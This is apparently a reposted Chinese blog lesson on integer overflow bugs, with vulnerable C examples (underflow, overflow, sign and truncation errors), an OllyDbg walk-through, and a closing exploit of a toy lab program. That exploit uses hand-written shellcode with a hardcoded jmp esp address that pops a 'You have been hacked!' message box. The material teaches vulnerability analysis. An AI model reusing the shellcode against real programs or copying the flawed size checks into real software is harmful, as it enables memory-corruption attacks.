我们之前所研究的漏洞,都是非常经典的栈溢出漏洞,也是最为常见的漏洞形态。但是我们对于缓冲区溢出的学习,是不能够仅仅局限在这类的漏洞里面的,其实还有一些比较少见,但却值得我们注意的漏洞形式,是需要我们进行研究的。在接下来的几次课程中,就对这些漏洞逐一进行分析。而我这次所讲的,是整数溢出的漏洞。
在计算机中,整数分为无符号整数以及有符号整数两种。其中有符号整数会在最高位用0表示正数,用1表示负数,而无符号整数则没有这种限制。另外,我们常见的整数类型有8位(单字节字符、布尔类型)、16位(短整型)、32位(长整型)等。关于整数溢出,其实它与其它类型的溢出一样,都是将数据放入了比它本身小的存储空间中,从而出现了溢出。这里可以举一个简单的例子:
#include <stdio.h> int main() { int InputTest; unsigned short OutputTest; printf("InputTest:"); scanf("%d", &InputTest); OutputTest = InputTest; printf("OutputTest:%d\n", OutputTest); getchar(); return 0; }上述程序的功能其实就是将用户输入的int型变量赋值给无符号短整型的变量,然后再将后者打印出来。我们知道,无符号的16位整数可以表示0~216-1,也就是0~65535这么多的数值。同理,32位无符号整数可以表示的范围是0~232-1,也就是0~4294967295这么多的数值。那么对于这个程序,我们可以使用三组数据来测试一下:
可见,当我们的输入不超过65535的时候,程序是可以得到正确的显示的。而超过了这个值,那么输出结果就不正确了,也就是出现了整数溢出的情况。
以上只是一个简单的例子,归根到底,出现整数溢出漏洞的根本原因依旧是由于编程人员自身的疏忽造成的,没能重视整数的相关操作,于是埋下了隐患。
既然我们已经发现了问题,那么接下来不妨动态调试一下,看看究竟为什么会显示出错误的结果。我们使用OD载入上述程序,然后来到下述位置:
当前程序执行到了0x0040DA1E的位置,这里的call语句所调用的正是scanf语句,通过分析栈空间中的参数可以知道,用户所输入的内容会保存在地址为0x0012FF7C的内存空间中。步过这个call,程序提示我们进行输入,这里我输入65535,也就是十六进制的0xFFFF,看一下栈空间的情况:
可以发现,我们所输入的65535(0xFFFF)已经保存到了0x0012FF7C的地址空间中。然后继续执行:
这里首先将[ebp-4]也就是地址为0x0012FF7C中的内容赋值给cx,那么cx中保存的也就是我们刚才输入的0xFFFF。下面两条语句,其实是将cx中的内容辗转赋值给edx。因为edx会作为下面的call语句,也就是printf的参数,而通过源程序可知,这个参数也就是16位的无符号整型,所以需要先将edx和0x0FFFF进行and运算,意思是保留edx中的后16位内容,而清空前16位的内容。其实这几步的操作对于我们当前的输入来讲,是没有影响的,之后程序就将edx中的内容打印出来了,我们也就看到了正确的输出结果。那么现在不妨尝试一下,将输入结果增大,看看会有什么情况。
我们让程序执行到0x0040DA1E的位置,这次我们输入65536:
可以看到,0x0012FF7C中的数值变成了0x10000,也就是十进制的65536,但是接下来需要将[ebp-4]也就是地址为0x0012FF7C中的内容以word的形式赋值给cx,换句话说就是将0x0012FF7C中数值的低16位赋值给cx,而低16位中的内容是0,于是这也就解释了为什么输出的结果会是0,其实是相当于直接将高位给截断了。那么同样道理,如果我们输入的是65537,截断高位,只会剩下低16位的1,所以显示的结果就是1了。
一般来说,主要有3类整数操作可以导致安全性漏洞:
1、无符号整数的下溢和上溢
无符号整数的下溢问题是由于无符号整数不能识别负数所导致的,代码如下:
BOOL fun(size_t cbSize) { if( cbSize > 1024 ) { return FALSE; } char *pBuf = new char[cbSize-1]; // 存在溢出隐患 memset(pBuf, 0x90, cbSize-1); ... return TRUE; }
在上述代码中,在使用new分配内存后,程序并没有对调用结果的正确性进行检测。如果cbSize为0的话,则cbSize-1的值为-1,而memset中第三个参数本身是无符号数,所以会将-1视为正的0xFFFFFFFF,系统无法操作这么大的空间,于是程序也就崩溃了。
这里需要给大家讲一下负数在计算机中的表示方法。在计算机中,正数是直接用原码表示的,如单字节的1,在计算机中就表示为0000 0001。负数用补码表示,如单字节-1,在计算机中表示为1111 1111。这个是怎么计算的呢。首先因为是负数,所以最高位是1,那么可以表示为1000 0001,然后求反,变成1111 1110,再加上1,从而变成了1111 1111。也就是说,负数的反码加上1就是补码。
无符号整数的上溢示例代码如下:
BOOL fun(char *s1, size_t len1, char *s2, size_t len2) { if(len1 + len2 + 1 > 1024) { return FALSE; } char pBuf = new char[len1 + len2 + 1]; if(pBuf == NULL) { return FALSE; } memcpy(pBuf, s1, len1); // 存在溢出隐患 memcpy(pBuf + len1, s2, len2); ... return TRUE; }
上述代码貌似没有什么问题,而且也进行了相应的检测,但其实这段代码是可能出现整数上溢的问题的。因为len1和len2都是无符号整数,如果len1=8,len2=0xFFFFFFFF,那么对于len1+len2+1这个运算来说,len2+1会变成0,然后再加上8,那么它的结果就是8。也就是说,new可能只分配了8个字节的空间,但是却要将长为0xFFFFFFFF的字符串复制到这个空间,那么结果就会造成程序的崩溃。
2、符号问题
符号的问题有以下三点是需要注意的。
(1)有符号整数之间的比较。
(2)有符号整数的运算。
(3)无符号整数和有符号整数的对比。
代码示例如下:
int copy_something(char *buf, int len) { char szBuf[800]; if(len > sizeof(szBuf)) { return -1; } // 存在溢出隐患 return memcpy(szBuf, buf, len); }
上述代码的问题同样出在memcpy函数的第三个参数。由于memcpy使用的是无符号整数作为第三个参数的,但是最初的len是有符号整数。假设我们赋予len一个负值,那么就一定能够通过if语句的检测,但是当这个负值被运用在memcpy函数中时,len就可能变成一个非常大的正数,导致缓冲区及其后面的内容被改写,使得程序崩溃。
3、截断问题
截断问题主要发生在高位数的整数(如32位)复制到低位数的整数(如16位)的时候,发生的溢出现象。代码示例如下:
BOOL fun(byte *name, DWORD cbBuf) { unsigned short cbCalculatedBufSize = cbBuf; byte *buf = new byte(cbCalculatedBufSize); if(buf == NULL) { return FALSE; } // 存在溢出隐患 memcpy(buf, name, cbBuf); ... return TRUE; }
对于fun函数来说,如果它的第二个参数cbBuf的值为0x00010020,由于cbCalculatedBufSize只能接收16位的内容,那么在赋值后,该变量的值为0x0020,因此new仅仅分配了0x20这么多的字节,但是name的大小实际为0x00010020,这就造成了缓冲区溢出情况的出现。
如果出现了整数溢出的情况,那么之后所有的相关操作的结果都会发生变化。与缓冲区溢出不同的是,整数溢出发生时并不会马上出现异常,即使程序执行结果与预期的不同,也很不容易发现问题所在。
整数溢出在很多时候会导致缓冲区溢出漏洞的发生,但并不是所有由整数溢出导致的缓冲区溢出都是可以被利用的。相反,大部分情况是不能够被利用的,原因就在于这里面涉及诸如4GB大小的内存空间的操作时,会发生错误。这里举一个可以利用的例子,代码如下:
#include "string.h" #include "stdlib.h" char overflow[] = "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68"; int fun(int i) { unsigned short s; char szBuf[8]; s = i; if(s > 8) { return 0; } if(i > sizeof(overflow)) { memcpy(szBuf, overflow, sizeof(overflow)); } else { memcpy(szBuf, overflow, i); } return 1; } int main(int argc, char *argv[]) { int i, ret; if(argc != 2) { return -1; } i = atoi(argv[1]); ret = fun(i); return 0; }
上述程序需要利用main函数的参数来执行。在main函数中,首先会判断我们所输入的参数个数是不是两个(注意文件名也算一个参数),然后将main函数的第二个参数转换为整型,再调用fun()函数。而在fun()函数的内部,首先是将传入的参数赋给16位的局部变量s,如果s大于8,则返回,反之就将overflow数组中的内容拷贝到局部数组szBuf中。而我这里为了便于定位返回地址,我将overflow中的内容设置为0x41到0x68。而依据我们最开始所讲的,当我们输入的范围是65536~65544时,由于fun()函数中只会保留低16位的内容,所以会进行截断,而这个范围的数值经过截断后,其值为0~8,正好是满足要求的(s不大于8),就会直接进行字串的复制了,也就会出现缓冲区溢出情况的出现。我们不妨试验一下,首先将OverflowTest.exe复制到C盘根目录下,然后打开cmd,输入如下命令:
C:\>OverflowTest.exe 65536
然后就出现了错误提示对话框:
由这个对话框可以知道,返回地址的位置为0x51525354,那么我们只要将这个地址覆盖为一个合法地址,再植入我们的ShellCode就可以了。改写过的overflow数组如下:
char overflow[] = "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x79\x5b\xe3\x77" // jmp esp "\x33\xDB" // xor ebx,ebx "\xB7\x06" // mov bh,6 "\x2B\xE3" // sub esp,ebx "\x33\xDB" // xor ebx,ebx "\x53" // push ebx "\x68\x69\x6E\x67\x20" "\x68\x57\x61\x72\x6E" // push "Warning" "\x8B\xC4" // mov eax,esp "\x53" // push ebx "\x68\x2E\x29\x20\x20" "\x68\x20\x4A\x2E\x59" "\x68\x21\x28\x62\x79" "\x68\x63\x6B\x65\x64" "\x68\x6E\x20\x68\x61" "\x68\x20\x62\x65\x65" "\x68\x68\x61\x76\x65" "\x68\x59\x6F\x75\x20" // push "You have been hacked!(by J.Y.)" "\x8B\xCC" // mov ecx,esp "\x53" // push ebx "\x50" // push eax "\x51" // push ecx "\x53" // push ebx "\xB8\xea\x07\xd5\x77" "\xFF\xD0" // call MessageBox "\x53" "\xB8\xFA\xCA\x81\x7C" "\xFF\xD0"; // call ExitProcess由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:
其实我们在这次的讲解中所举的程序的例子,都是为了达到我们的实验目的而编写的很特殊的程序,在现实中一般并不会遇到。但它们却有效地演示了整数溢出的原理和过程,对于我们以后分析真实的整数溢出漏洞会很有帮助。而我这次所讲的都是一些比较基础的东西,有兴趣的朋友可以多多动手进行调试,也许会有很多新的发现。
原文地址:http://blog.csdn.net/ioio_jy/article/details/46582405